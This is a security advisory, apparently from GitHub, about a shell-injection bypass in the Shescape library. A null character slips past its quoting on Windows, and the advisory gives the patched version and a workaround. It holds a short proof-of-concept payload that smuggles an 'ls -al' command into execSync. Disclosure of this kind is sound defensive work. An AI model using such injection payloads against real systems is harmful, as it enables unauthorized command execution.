Anyone using Shescape to defend against shell injection may still be vulnerable against shell injection if the attacker manages to insert a null character into the payload. For example (on Windows):
const cp = require("child_process");
const shescape = require("shescape");
const nullChar = String.fromCharCode(0);
const payload = "foo\" && ls -al ${nullChar} && echo \"bar";
console.log(cp.execSync(`echo ${shescape.quote(payload)}`));
// foototal 3
// drwxr-xr-x 1 owner XXXXXX 0 Mar 13 18:44 .
// drwxr-xr-x 1 owner XXXXXX 0 Mar 13 00:09 ..
// drwxr-xr-x 1 owner XXXXXX 0 Mar 13 18:42 folder
// -rw-r--r-- 1 owner XXXXXX 0 Mar 13 18:42 file
The problem has been patched in v1.1.3 which you can upgrade to now. No further changes are required.
Alternatively, null characters can be stripped out manually using e.g. arg.replace(/\u{0}/gu, "")
{ "nvd_published_at": "2021-03-19T00:15:00Z", "github_reviewed_at": "2021-03-18T23:43:39Z", "severity": "HIGH", "github_reviewed": true, "cwe_ids": [ "CWE-88" ] }